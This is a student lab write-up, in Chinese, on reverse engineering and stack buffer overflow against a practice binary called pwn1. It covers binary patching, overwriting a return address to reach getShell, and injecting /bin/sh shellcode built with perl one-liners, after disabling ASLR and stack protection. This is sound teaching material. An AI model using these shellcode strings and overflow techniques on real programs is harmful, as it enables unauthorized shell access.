20155327李百乾《网络对抗》逆向及Bof基础

20155327李百乾《网络对抗》逆向及Bof基础

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。linux

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。shell

该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断,而后学习如何注入运行任何Shellcode。sass

--服务器

三个实践内容以下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个本身制做的shellcode并运行这段shellcode。
这几种思路,基本表明现实状况中的攻击目标:
运行本来不可访问的代码片断
强行修改程序执行流
以及注入运行任意代码。
--网络

基础知识

1.熟悉Linux基本操做

objdump -d:从objfile中反汇编那些特定指令机器码的section。
perl -e:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。
xxd:为给定的标准输入或者文件作一次十六进制的输出,它也能够将十六进制输出转换为原来的二进制格式。
ps -ef:显示全部进程,并显示每一个进程的UID,PPIP,C与STIME栏位。
|:管道,将前者的输出做为后者的输入。dom

:输入输出重定向符,将前者输出的内容输入到后者中。函数

2.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不作,仅仅当作一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)学习

JNE:条件转移指令,若是不相等则跳转。(机器码:75)ui

JE:条件转移指令,若是相等则跳转。(机器码:74)spa

JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)

CMP:比较指令,功能至关于减法指令,只是对操做数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其余相关指令经过识别这些被影响的标志寄存器位来得知比较结果。

实践内容

实践一:直接修改程序机器指令,改变程序执行流程

使用objdump -d pwn1将pwn1反汇编

若是咱们想让函数调用getShell,只须要修改d7 ff ff ff便可。根据foo函数与getShell地址的偏移量,咱们计算出应该改成c3 ff ff ff。

修改的具体步骤以下:

vi pwn1进入命令模式
输入:%!xxd将显示模式切换为十六进制
在底行模式输入/e8d7定位须要修改的地方,并确认
进入插入模式,修改d7为c3
输入:%!xxd -r将十六进制转换为原格式
使用:wq保存并退出

反汇编查看修改后的代码,发现call指令正确调用getShell:

实践二:经过构造输入参数,形成BOF攻击,改变程序执行流

按照步骤输入:
gdb pwn1 (gdb) r Starting program: /root/pwn1 1111111122222222333333334444444455555555 1111111122222222333333334444444455555555使用gdb进行调试:

  • 确认用什么值来覆盖返回地址。

首先经过以前对文件反汇编,能够获得getShell函数的内存地址为0804847d。
因为前一步中,输入1234,获得的地址为34333231。所以,getshell的地址应反着输入,正确的是:11111111222222223333333344444444\x7d\x84\x04\x08。

  • 构造输入字符串

由于键盘没法输入\x7d\x84\x04\x08这样的16进制数值,因此经过重定向生成包括这样字符串的一个文件。
\x0a表示回车,若是没有的话,在程序运行时就须要手工按一下回车键。
使用16进制查看指令xxd查看input文件的内容。

实践三 注入Shellcode并执行

.准备一段Shellcode

  Shellcode实际是一段代码(也能够是填充数据),是用来发送到服务器利用特定漏洞的代码,通常能够获取权限。另外,Shellcode通常是做为数据发送给受攻击服务器的。此次试用一个已经生成的shellcode:
  

选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为\x4\x3\x2\x1):

perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
  1. 准备工做
root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
0

打开一个终端注入这段攻击buf

root@KaliYL:~# (cat input_shellcode;cat) | ./pwn1
������1�Ph//shh/bin��PS��1Ұ
                           �

再开另一个终端,用gdb来调试pwn1这个进程。

root@KaliYL:/home# ps -ef | grep pwn1 //找到pwn1的进程号是

root@KaliYL:/home# gdb//启动gdb调试这个进程

(gdb) attach 27728

(gdb) disassemble foo// 经过设置断点,来查看注入buf的内存地址

(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae
//!!注意:在另一个终端中按下回车,这就是前面为何不能以\x0a来结束 input_shellcode的缘由。

(gdb) c
Continuing.

(gdb) info r esp //查看寄存器的值

(gdb) x/16x 0xffffd3fc //看到 01020304了,就是返回地址的位置。shellcode就挨着,因此地址是 0xffffd2e0

![](https://images2018.cnblogs.com/blog/1071551/201803/1071551-20180320155046183-1926776749.png)
![](https://images2018.cnblogs.com/blog/1071551/201803/1071551-20180320155103429-1328482984.png)

root@KaliYL:~# perl -e 'print "A" x 32;print "\xe0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

查看shellcode转换进制内容xxd input_shellcode,并运行验证是否成功(cat input_shellcode;cat) | ./pwn20155305

root@KaliYL:~# xxd input_shellcode

root@KaliYL:~# (cat input_shellcode;cat) | ./pwn20155327
```

相关文章
相关标签/搜索